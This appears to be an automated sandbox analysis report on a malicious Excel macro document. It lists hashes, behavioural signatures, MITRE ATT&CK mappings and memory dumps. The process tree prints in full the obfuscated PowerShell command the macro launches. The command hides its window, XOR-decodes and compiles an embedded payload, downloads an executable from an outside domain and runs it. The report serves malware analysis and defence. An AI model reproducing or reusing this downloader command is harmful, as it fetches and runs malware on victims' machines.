aa2f65c66cba4f2c08c42bf553a5a5b23d661315757b1c34b3103f8f441f940e

General

Target

aa2f65c66cba4f2c08c42bf553a5a5b23d661315757b1c34b3103f8f441f940e.xls
Size

56KB
MD5

0b5783fe1f26934294c18ce26b172473
SHA1

4c2d0c2e06b745266ff6c957b491f03e7a92aa97
SHA256

aa2f65c66cba4f2c08c42bf553a5a5b23d661315757b1c34b3103f8f441f940e
SHA512

192bf58e0937f43273c51f03cbc874687f1425a471abc33e4f3a351d04ad297a0a06b1a32fc0747bab230b915dbbc41535a091e564626a3516a316f9d5f5935d
SSDEEP

1536:8k3hOdsylKlgryzc4bNhZFGzE+cL2knAzqCKwzFpjiE:8k3hOdsylKlgryzc4bNhZFGzE+cL2kn1

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://igyygyigus.com/new/smscscript090002000.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2684	2652	powershell.exe	30

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2684	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2652	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2684	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2684	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 2684	2652	EXCEL.EXE	31
PID 2652 wrote to memory of 2684	2652	EXCEL.EXE	31
PID 2652 wrote to memory of 2684	2652	EXCEL.EXE	31
PID 2652 wrote to memory of 2684	2652	EXCEL.EXE	31

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\aa2f65c66cba4f2c08c42bf553a5a5b23d661315757b1c34b3103f8f441f940e.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden -noprofile -ExecutionPolicy RemoteSigned function v4bad81 { param($ndddb) $z717f = 'a25baab'; $r8f981d = ''; for ($i = 0; $i -lt $ndddb.length; $i+=2) { $o622e = [convert]::ToByte($ndddb.Substring($i, 2), 16); $r8f981d += [char]($o622e -bxor $z717f[($i / 2) % $z717f.length]); } return $r8f981d; } $x642a = '14415c0c064131184141070c5a6f6b47460b0f0642324b4616040c4c33475b16080c074f7b5b1604130d1161501017080104410e6f6b1117035e5c0141020e004146420e50570305076f6b1a6f6b12154241414241126e260d0d2b0c425a101549400a57470c040d5153101c3f6c6b42411215424141421147570e08024212465416080242044a4107130f42285c413215134226574132130e0120565110041211497b5b16311510415a780d05140e041e151115130b0f551512130e012f535807485a6f6b12154241414241126e260d0d2b0c425a101549400a57470c040d5153101c3f6c6b42411215424141421147570e08024212465416080242044a4107130f42285c41321513422d5d54062d08001353471b491216135b5b05410f030c571c596c6b42411215424141423a76590e280c120e40414a430a07135c500e525340486f386841414241121542411117035e5c0141121600465c0141041a1557470c41030d0e5e153408131614535932130e160451414a280f16314647420d11230556470712124e41677c0c15311613125115320818041e1517080f164154592c041632135d410702154e415d401641140b0f46150e11070e2e5e5132130e160451414b5a6c68411215424141424169710e0d280f115d471649432904405b070d52504f56590e434d42245c411018310d085c41425c41403346592f0e17072c57580d1318404d126607152d0312467010130e10410f1504000d11041b686f6b4142411215424141111553410b024107194650100f41140e5b51422c0e14047f500f0e131b497b5b1631151041565011154d42285c41321513421240564e41080c1512460b1b044b5a3f3f6f6b4142411215424141121450590b0241111553410b02410b0f461510030257550b074a486c6841121542414142414938684141424112154241414241127c0c15311613125e5b59005b5054155f412d0d0056790b031303134b1d14550303050a044a4351525454015451035607020052045106431b1c596c6b42411215424141424112154208074249590c5a0058530712085f41280c156241104f3b07135d1c6f6b414241121542414142411215196c6b4241121542414142411215424141424140501614130c41030e6f6b4142411215424141424112151f6c6b6f6b1215424141424112154241412b0f466516134115020a0050415c4226574132130e012056511004121149590c5a005853071e1514550303050a044a4353525454015451035153020752525104560201525155525602015351434b480938684141424112154241414241125c04414915020a0050415c5f417b5b163115104f6850100e486f6b121542414142411215424141196c381542414142411215424141424112154213041614405b42505a6f6b1215424141424112154241411f6c383868414142411215424141424112602b0f15321540150616320b1b57155f414937285c413215134b54093868414142411215424141424112400b0f15423b57470d415c42510938684141424112154241414241125c04414943375b471614000e31405a160402164945565a54534e41564231081b074d12051a55514e415d4016413b07135d1c4b6c6b4241121542414142411215421a6c684112154241414241121542414142411247071514100f1204596c6b4241121542414142411215421c6c68411215424141424112154241231b15576e3f41310315515d425c411941024d51504d42514a53044d4152190b05421c5a6f6b1215424141424112154241412b0f4665161341170f5f540c00060705625a0b0f1507131208422c0010125a540e4f200e0d5d562a260d0d0353594a5248596c381542414142411215424141422c53471109000e4f715a121849320046560a4d41524d12400c0c000c00555006310e0b0f4650104d415148093868414142411215424141424112780d17042f045f5a1018490c0445152b0f153215401d15025957531c610d280f1657061d4b414a42514a055250034b4d12400c0c000c00555006310e0b0f4650104d41514809386841414241121542414142411247071514100f1205596c6b42411215424141421c3f3f6b681117035e5c0141121600465c01411216135b5b054117560353515a50491115405c0c06411115407c0c486c68411215424141424149386868686b1246470b0f064213505356545256410f154000535703535400435a6f6b1215424141424112154241411115405c0c06410f5806040603415f41614110080f054f7758121518596c38154241414241121542414142075d474249080c15125c425c41525a125c425d411115407c0c4f2d070f55410a5a410b4119084253486f6b121542414142411215424141196c38154241414241121542414142411215420318160412575553525052120842220e0c175747164f350d234b4107491216137b5b4c3214001246470b0f064a081e1550484d4250041c596c6b424112154241414241121542414142415f0c565005004119084249020a00401c4a035650520006423f411003540157525539495b154d41534b411715100307565401014c2d040c06465d3f485a6f6b1215424141424112154241411f6c38386841414241121542414142411247071514100f12585b5550060309386841414241121542411c6f6b4f'; $x642a2 = v4bad81($x642a); Add-Type -TypeDefinition $x642a2; [o15b72]::rbc5492(); Start-Sleep -s 1; $m83735 = $env:APPDATA; $zeb93 = $m83735 + '\\b1bbb65.exe'; If (test-path $zeb93) {Remove-Item $zeb93}; $yee8b6 = New-Object System.Net.WebClient; $yee8b6.Headers['User-Agent'] = 'yee8b6'; $yee8b6.DownloadFile('https://igyygyigus.com/new/smscscript090002000.exe', $zeb93); Start-Process -Filepath $zeb93;
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2652-8-0x0000000000740000-0x0000000000840000-memory.dmp

Filesize
1024KB

Download
memory/2652-7-0x0000000000740000-0x0000000000840000-memory.dmp

Filesize
1024KB

Download
memory/2652-3-0x0000000000740000-0x0000000000840000-memory.dmp

Filesize
1024KB

Download
memory/2652-2-0x0000000000740000-0x0000000000840000-memory.dmp

Filesize
1024KB

Download
memory/2652-10-0x0000000000740000-0x0000000000840000-memory.dmp

Filesize
1024KB

Download
memory/2652-9-0x0000000000740000-0x0000000000840000-memory.dmp

Filesize
1024KB

Download
memory/2652-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2652-6-0x0000000000740000-0x0000000000840000-memory.dmp

Filesize
1024KB

Download
memory/2652-1-0x0000000071BFD000-0x0000000071C08000-memory.dmp

Filesize
44KB

Download
memory/2652-5-0x0000000000740000-0x0000000000840000-memory.dmp

Filesize
1024KB

Download
memory/2652-4-0x0000000000740000-0x0000000000840000-memory.dmp

Filesize
1024KB

Download
memory/2652-13-0x0000000071BFD000-0x0000000071C08000-memory.dmp

Filesize
44KB

Download
memory/2652-14-0x0000000000740000-0x0000000000840000-memory.dmp

Filesize
1024KB

Download
memory/2652-16-0x0000000000740000-0x0000000000840000-memory.dmp

Filesize
1024KB

Download
memory/2684-15-0x0000000007020000-0x0000000007ADA000-memory.dmp

Filesize
10.7MB

Download

Analysis

Sharing